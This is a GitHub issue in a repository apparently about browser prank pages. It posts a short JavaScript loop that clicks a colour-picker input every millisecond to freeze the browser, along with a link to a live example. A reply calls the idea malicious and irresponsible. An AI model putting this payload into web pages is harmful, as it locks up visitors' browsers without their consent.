hamukazu/lets-get-arrested

Get arrested with <input type="color">

Closed this issue · 1 comments

The following script spam the color choosing box, and unlike the alert box, it can really lock your browser (tested on Chrome/Firefox on Windows and on Chrome on Ubuntu).

<input type="color" id="elem">
<script>
  async function f() {
    while (1) {
      document.getElementById('elem').click();
      await new Promise(resolve => setTimeout(resolve, 1));
    }
  }
  f();
</script>

See example on https://output.jsbin.com/lefonuz.

That would be malicious and irresponsible. I highly disagree with this.